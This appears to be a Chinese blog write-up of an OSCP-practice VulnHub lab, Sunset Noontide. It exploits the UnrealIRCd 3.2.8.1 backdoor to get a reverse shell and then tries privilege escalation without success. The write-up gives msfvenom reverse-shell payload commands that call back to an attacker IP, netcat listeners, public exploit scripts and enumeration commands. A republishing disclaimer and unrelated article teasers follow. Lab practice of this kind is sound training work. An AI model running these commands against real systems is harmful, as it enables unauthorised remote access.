靶场实战(14):OSCP备考之VulnHub SUNSET NOONTIDE

打靶思路

  1. 资产发现

    1. 主机发现

    2. 服务发现

  2. 漏洞发现(获取权限)

    1. irc服务

  3. 提升权限

    1. server用户

      1. sudo

      2. suid

      3. cron

      4. 内核提权

      5. 信息收集

1、资产发现

1.1、主机发现

本次靶场SUNSET: NOONTIDE[1]指定IP,不涉及主机发现过程。

1.2、服务发现

使用命令sudo -u root 172.16.33.78 -n -Pn -p- --reason -sV -sC -O,发现主机开放的端口、提供的服务、使用的组件、组件的版本。

1885e3a4bc70dd94d2deb8327dc14a39.png

开放的端口

提供的服务

使用的组件

组件的版本

6667/tcp

irc

UnrealIRCd

?

6697/tcp

irc

UnrealIRCd

?

8067/tcp

irc

UnrealIRCd

?

-

os

?

?

2、漏洞发现(获取权限)

2.1、irc服务

0x01

主机只使用UnrealIRCd组件提供irc服务,看来要么从这突破,要么放弃。使用命令searchsploit UnrealIRCd,发现3.2.8.1版本的UnrealIRCd组件存在RCE漏洞。

e3255877233070932a635c4f061afbfc.png

查看Metasploitable2系列练习-漏洞利用之UnrealIRCd[2],得知可以使用hexchat查看UnrealIRCd组件的版本。使用命令sudo apt-get install -y hexchat安装hexchat,使用命令hexchat 172.16.33.78连接irc服务,发现UnrealIRCd组件的版本刚好就是存在RCE漏洞的3.2.8.1。

9f91fbe1c7bbfb68b6040aac701bf238.png

0x02

使用命令searchsploit -m 13853将EXP拷贝到当前目录。

ccde17f98eb293ff5e3dc0e9b9da7d14.png

使用命令msfvenom -p cmd/unix/reverse_perl LHOST=10.8.0.110 LPORT=4444 -f raw创建perl环境的Payload。

f48cf8f46eb800750adaab98bae4147f.png

使用命令vim 13853.pl将Payload添加到EXP中,注意引号的转义和结尾的分号。

b87bffb79278a203da377441ad76c534.png

使用命令nc -nvlp 4444监听反弹shell,使用命令perl 13853.pl 172.16.33.78 <端口> 1利用RCE漏洞发起反弹shell,均未获得反弹shell,难道目标机器上没有perl环境?

cdb1b420b11355a6c23cb45150adb1ea.png

0x03

使用命令msfvenom -p cmd/unix/reverse_bash LHOST=10.8.0.110 LPORT=4444 -f raw创建bash环境的Payload。

86d0e1d2f6ac0ed75c32bed62f7a9ea3.png

使用命令vim 13853.pl将Payload添加到EXP中,注意引号的转义和结尾的分号。

432c53f70f5a0d56d6f8334729b6c2a5.png

使用命令nc -nvlp 4444监听反弹shell,使用命令perl 13853.pl 172.16.33.78 <端口> 2利用RCE漏洞发起反弹shell,均未获得反弹shell,难道是EXP不行?

c465bcd5fc64dac60782e114df397ab8.png

0x04

网上找到EXPRanger11Danger/UnrealIRCd-3.2.8.1-Backdoor/exploit.py[3],使用命令vim exploit.py修改本地监听的IP和端口后,使用命令python3 exploit.py -payload <脚本语言> <目标IP> <目标端口>构造命令进行利用,最终使用python3 exploit.py -payload bash 172.16.33.78 6697成功获得反弹shell。

1fa6960578e8cec879b244202247e3b1.png

8e000d8e93fafd948edeeeb98603193e.png

d2d56c6cc09f9aa00666d106cd8958ea.png

0x05

网上找到EXPgeek-repo/UnrealIRCd-3.2.8.1/poc.py[4],使用命令vim poc.py修改源目IP端口后,构造命令python2 poc.py进行利用,最终成功获得server用户的反弹shell。

54d59f06a512b7d8c35dc339af5ab1fa.png

23205035558e9e197073a6c38fbe013e.png

fe3e4a2d896650e5ba7673009e49e4a6.png

3、提升权限

首先使用命令which pythonwhich python3发现有Python3环境,然后使用python3 -c 'import pty; pty.spawn("/bin/bash")'获得交换式shell。

0e3995c825f5d3d3b8dd6fd4083c65da.png

3.1、server用户

3.1.1、sudo

使用命令sudo -l查看当前用户能以谁的权限执行什么命令,发现不存在sudo命令。使用命令which sudo确认确实不存在。

029c262ff45caf54be48b380a1b3c3b0.png

3.1.2、suid

使用命令find / -perm -u=s -type f -ls 2>/dev/null查看哪些命令在执行时会以命令属主的权限执行,发现还挺多。逐个在GTFOBins[5]查询是否可用于提权,发现都不行。

9abf7224c2a188a42943ebc090022d20.png

3.1.3、cron

使用命令find /var/spool/cron/ -type f -ls 2>/dev/null查看定时任务,发现没有。使用命令find /var/spool/cron/ -type f -ls不隐藏报错,发现是没有查看权限。

4bf04fca60ebdbaf30bc7ef9f6fc5853.png

使用命令find /etc/*cron* -type f -ls查看定时任务,发现还挺多。使用命令find /etc/*cron* -type f -ls 2>/dev/null -exec cat {} \; > /tmp/cron.txtgrep '\*' /tmp/cron.txt查看定时任务内容,未发现有引用当前用户具有read和write权限的命令或脚本。

c3838ef374a3da20115186f95c5261d4.png

使用命令find / -perm -o=rw ! -path "/proc/*" -type f -ls 2>/dev/null查看other用户具有read和write权限的命令或脚本,发现有一些,但未发现有可能被定时任务引用的迹象。

519a4f09a28e4069f286dda391373e10.png

3.1.4、内核提权

使用命令uname -r获取系统内核版本4.19.0,使用命令cat /etc/*release获取系统发行版本Debian Linux 10

ffe6bbdd63152304f294c6220a175e7b.png

使用命令searchsploit 4. Debian Linux 10,未发现存在本地提权漏洞。

15034d852bb866d3d617765736378a00.png

3.1.5、信息收集

使用命令find /root/ -type f -ls 2>/dev/null查看特权用户目录下的文件,无收获。使用命令find /home/ ! -path "/home/server/irc/*" -type f -ls 2>/dev/null查看普通用户目录下的文件,无收获。使用命令find /tmp/ -type f -ls 2>/dev/null查看临时目录下的文件,无收获。

b5ad6be7fa8f3631d95768194f835f63.png

查看irc服务的配置文件和日志文件,最终在/home/server/irc/Unreal3.2/ircd.log中发现连接记录Connect - root!root@192.168.100.139,疑似获得账户密码root/root,不过使用命令su root切换到root账户时却报错,看来密码被改过了。但是查看WriteUp,确实又是使用账户密码root/root获得提权的,看来这靶机有问题呀。

6fff416f2a5529315fa3470dc5e24d67.png

f484723e50ea2d3f5f0e4f67cd957d64.png

3.1.6、使用工具

靶机使用命令nc -nvlp 4444 > /tmp/linpeas.sh接收文件,本地使用命令nc -nv 172.16.33.78 4444 < linpeas.sh发送文件后使用命令Ctrl+C关闭连接,靶机使用命令chmod +x /tmp/linpeas.sh赋予脚本执行权限后使用命令/tmp/linpeas.sh执行脚本。逐个查看脚本报告,未发现可以提权的漏洞,提权失败。

4871662ba17a7b6468d774f23c2585ae.png

13beb224f8a10edaf89d007999c3e306.png

d24292e9d4f0eb6cea02b57c6762d0ea.png

参考资料

[1]

SUNSET: NOONTIDE: https://www.vulnhub.com/entry/sunset-noontide,531/

[2]

Metasploitable2系列练习-漏洞利用之UnrealIRCd: https://chujian521.github.io/blog/2020/04/28/Metasploitable2系列练习-漏洞利用之UnrealIRCd/

[3]

Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor/exploit.py: https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor/blob/master/exploit.py

[4]

geek-repo/UnrealIRCd-3.2.8.1/poc.py: https://github.com/geek-repo/UnrealIRCd-3.2.8.1

[5]

GTFOBins: https://gtfobins.github.io

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/318174.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Kubernetes 集群管理—日志架构

日志架构 应用日志可以让你了解应用内部的运行状况。日志对调试问题和监控集群活动非常有用。 大部分现代化应用都有某种日志记录机制。同样地&#xff0c;容器引擎也被设计成支持日志记录。 针对容器化应用&#xff0c;最简单且最广泛采用的日志记录方式就是写入标准输出和标…

调用openai实现聊天功能

&#x1f4d1;前言 本文主要是【聊天机器人】——调用openai实现聊天功能的文章&#xff0c;如果有什么需要改进的地方还请大佬指出⛺️ &#x1f3ac;作者简介&#xff1a;大家好&#xff0c;我是听风与他&#x1f947; ☁️博客首页&#xff1a;CSDN主页听风与他 &#x1f3…

编译和链接(2)

3. 预处理详解 3.2#define 3.2.5带副作用的宏参数 当宏参数在宏的定义中出现超过一次的时候&#xff0c;如果参数带有副作用&#xff0c;那么你在使用这个宏的时候就可能 出现危险&#xff0c;导致不可预测的后果。副作用就是表达式求值的时候出现的永久性效果。 例如&…

day16 二叉树的最大深度 n叉树的最大深度 二叉树的最小深度 完全二叉树的节点数

题目1&#xff1a;104 二叉树的最大深度 题目链接&#xff1a;104 二叉树的最大深度 题意 二叉树的根节点是root&#xff0c;返回其最大深度&#xff08;从根节点到最远叶子节点的最长路径上的节点数&#xff09; 递归 根节点的的高度就是二叉树的最大深度 所以使用后序遍…

【Minio】常见问题解决思路

检查存储服务器对应的端口与应用服务器是否能够互通&#xff0c;通过ping|telnet命令检查、查看防火墙端口是否开放&#xff0c;检查防火墙端口linux系统和windows系统各有不同。检查电脑上的杀毒软件是否限制了网络端口和文件权限问题。检查minio配置信息是否正确&#xff0c;…

Unity AssetBundles资源管理和热更新

项目中的做法&#xff0c;在项目中一般会把资源按照文件目录去划分资源&#xff0c;以文件路径的名字作为AB的名字&#xff0c;一般都是把资源的这些放到预处理中。 一般会分为几个类型&#xff0c;比如把单个文件夹下的每个资源进行打bundle&#xff0c;把单个文件夹下的所有资…

10年果粉拯救老掉牙Mac心得(没错我是标题党)

连续两周了&#xff0c;当我不能用Mac,或者说当我闲置了近10年隔三差五的用Mac时&#xff0c;成功发现我的AppleID已经无法登录了。事情是这样的&#xff0c;当我踌躇满志地准备改一篇稿子&#xff08;潜在的稿费啊亲&#xff01;&#xff09;时&#xff0c;发现Pages竟然没有W…

驾驭数字孪生:智慧水利的未来之路

一、数字孪生技术的原理与实践 随着科技的不断进步&#xff0c;数字孪生技术作为一项创新的技术应用&#xff0c;正在逐渐改变我们的生活和工作方式。特别是在工业领域&#xff0c;数字孪生技术被视为实现智能制造、提升生产效率和产品质量的重要手段。本章节将深入探讨数字孪…

Docker 安装:在linux系统CentOS7 版本 安装Docker

目录 一&#xff0c;Docker介绍&#xff1a; 1.1Docker是什么&#xff1f; 1.2Docker组成 二&#xff0c;Docker安装&#xff1a; 三&#xff0c;Docker基本使用 3.1服务 3.2镜像 3.3容器 &#x1f389;&#x1f389;欢迎来到我的CSDN主页&#xff01;&#x1f389;&am…

VMware workstation搭建与安装AnolisOS-8.8虚拟机

VMware workstation搭建与安装AnolisOS-8.8虚拟机 适用于需要在VMware workstation平台安装AnolisOS-8.8&#xff08;最小化安装、无图形化界面&#xff09;虚拟机。 1. 安装准备 1.1 安装平台 Windows 11 1.2. 软件信息 软件名称软件版本安装路径VMware-workstation 17 …

前端js调用Lodop实现云打印

一、下载Lodop控件 官网&#xff1a;下载中心 - Lodop和C-Lodop官网主站 二、解压后安装 双击进行安装&#xff0c;里面有些页面文件是一些教程案例 勾选云服务工作模式 安装成功会自动启动 浏览器访问地址&#xff1a;http://localhost:8000/ 首页最下面有个教程案例跳转地址&…

【已解决】C语言实现多线程的同步与异步

说真的写了这篇博文时&#xff0c;才知道c语言本身不支持多线程&#xff0c;而是一些windowsapi让c语言拥有多线程的能力&#xff0c;那下面内容就以打开对话框为例&#xff0c;展现如何实现多线程的同步与异步。 文章目录 问题起源c语言多线程同步方案c语言多线程异步方案总结…

Raspbian安装摄像头

Raspbian安装摄像头 1. 源由2. 摄像头2.1 选型2.2 系统2.3 安装 3. 配置&命令3.1 命令3.2 配置 4. 测试4.1 拍照4.1.1 libcamera-jpeg4.1.2 libcamera-still 4.2 视频流4.2.1 RTSP流4.2.2 TCP流 5. 参考资料 1. 源由 家里闲置两块树莓派&#xff0c;打算做个WiFi视频流RTS…

GC6109——双通道5V低电压步进电机驱动芯片,低噪声、低振动,应用摄像机,机器人等产品中

GC6109是双通道5V低电压步进电机驱动器&#xff0c;具有低噪声、低振动的特点&#xff0c;特别适用于相机的变焦和对焦系统&#xff0c;万向节和其他精密、低噪声的STM控制系统。该芯片为每个通道集成了256微步驱动器。带SPl接口&#xff0c;用户可以方便地调整驱动器的参数。内…

[Windows] Win10 常用快捷键

文章目录 &#x1f680; [Windows] Win10 常用快捷键&#x1f310; Windows 操作系统&#x1f525; Windows 10 &#x1f310; Windows 10 快捷键概览&#x1f525; 基本快捷键&#x1f525; 窗口快捷键&#x1f525; 功能快捷键 &#x1f4dd; 小结 &#x1f680; [Windows] W…

milvus安装及langchain调用

milvus安装及langchain调用 安装milvus安装docker-compose安装milvus安装可视化界面attu 通过langchain调用milvus安装langchain安装pymilvus调用milvus 安装milvus 安装docker-compose 下载文件 curl -L https://github.com/docker/compose/releases/download/1.21.1/docke…

在 WinForms 应用中使用 FtpWebRequest 进行文件操作和数据显示

在 WinForms 应用中使用 FtpWebRequest 进行文件操作和数据显示 引言 在企业级应用或桌面程序中&#xff0c;经常需要从远程服务器获取数据&#xff0c;并在用户界面上展示这些数据。本文将通过一个实际案例&#xff0c;演示如何在 Windows Forms 应用程序中使用 FtpWebReques…

Linux 系统编程:文件系统的底层逻辑 - inode

《Linux 程序设计》的第三章讲文件操作。在提到 目录 时有这么一段文字&#xff1a; 文件&#xff0c;除了本身包含的 内容 以外&#xff0c;它还会有一个 名字 和一些 属性&#xff0c;即“管理信息”&#xff0c;包括文件的创建 / 修改日期和它的访问权限。这些属性被保存在文…

SV-9001 壁挂式网络采播终端

SV-9001 壁挂式网络采播终端 一、描述 SV-9001是深圳锐科达电子有限公司的一款壁挂式网络采播终端&#xff0c;具有10/100M以太网接口&#xff0c;配置一路线路输入和一组麦克风输入&#xff0c;可以直接连接音源输出设备或麦克风&#xff0c;将采集音源编码后发送至网络播放终…

RuoYi-Vue-Plus 5.X登录前流程及解密

一&#xff1a;问题 1. 前端传给后端的是一个加密字符串&#xff0c;后端controller层login接口怎么就直接解密了呢&#xff1f; 2. 中间经过什么步骤到达的登录接口呢&#xff1f; 二&#xff1a;个人分析 首先考虑的是拦截器、过滤器、切面AOP&#xff1b; 1. 使用全文搜…